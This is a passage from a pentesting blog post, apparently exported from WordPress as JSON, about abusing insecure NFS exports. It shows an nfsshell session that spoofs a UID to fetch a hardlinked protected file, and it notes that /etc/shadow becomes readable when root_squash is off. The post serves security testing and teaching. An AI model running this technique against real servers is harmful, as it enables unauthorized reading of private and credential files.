Finally, access the hardlink via the NFS share.\u00a0 In this case we’ll need to lie to the NFS server about our UID.\u00a0 We’ll use nfsshell, but you could just mount the NFS share normally and create a local account with the appropriate UID.<\/li>\n<\/ul>\n$ sudo nfs\r\nnfs> host 10.0.0.1\r\nUsing a privileged port (1021)\r\nOpen 10.0.0.1 (10.0.0.1) TCP\r\nnfs> mount \/some\/exported\/dir\/\r\nUsing a privileged port (1020)\r\nMount `\/some\/expored\/dir\/', TCP, transfer size 8192 bytes.\r\nnfs> ls -l\r\ndrwxr-xr-x1002\u00a0\u00a0\u00a0\u00a0 1024\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1\u00a0 Aug 16 23:34\u00a0 .\r\ndrwxr-xr-x\u00a0 0\u00a0\u00a0\u00a0\u00a0 1024\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1\u00a0 Aug 16 23:31\u00a0 ..\r\n-rw------- 80 123 0 1 Jul\u00a0 9 20:02 myhardlink\r\nnfs> uid 80\r\nnfs> get myhardlink\r\nmyhardlink? y\r\nnfs><\/pre>\nLimitations<\/h3>\n
You have to be able to traverse the parent directories of target file (i.e. have +x permission on the parent dirs) in order to create the hardlink.\u00a0 This attack will therefore not allow you to read files in other user’s home directories if the home directories have 700 permissions.<\/p>\n
You can only read files on the same partition as the NFS-exported directory.\u00a0 There’s no problem if the there is only one partition in use – as is common on Linux installations.\u00a0 If, however \/home was a separate partition, you wouldn’t be able to create hardlinks to \/var\/log\/messages for example as the target file is on a different parition.<\/p>\n
\/dev is a separate file system, so you cannot do raw read\/writes to disk devices even though they’re often read\/writable by the “disk” group or similar.<\/p>\n
If root_squash in enabled (it normally is), you won’t be able to access files that are only accessible by the root user.\u00a0 If root_squash is not enabled, though, you should be able to easily read\/write to \/etc\/shadow and \/etc\/passwd.<\/p>\n","protected":false},"excerpt":{"rendered":"
If you’ve been doing network pentesting for a while, you’ll no doubt be aware that there are plenty of ways to configure NFS insecurely.\u00a0 Here are a few examples: If you export \/home and allow read-write access: Attackers can read everyone’s home directories, alter them and probably log in as any user. If an attacker […]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[82,19],"_links":{"self":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/63"}],"collection":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/comments?post=63"}],"version-history":[{"count":2,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/63\/revisions"}],"predecessor-version":[{"id":331,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/63\/revisions\/331"}],"wp:attachment":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/media?parent=63"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/categories?post=63"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/tags?post=63"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}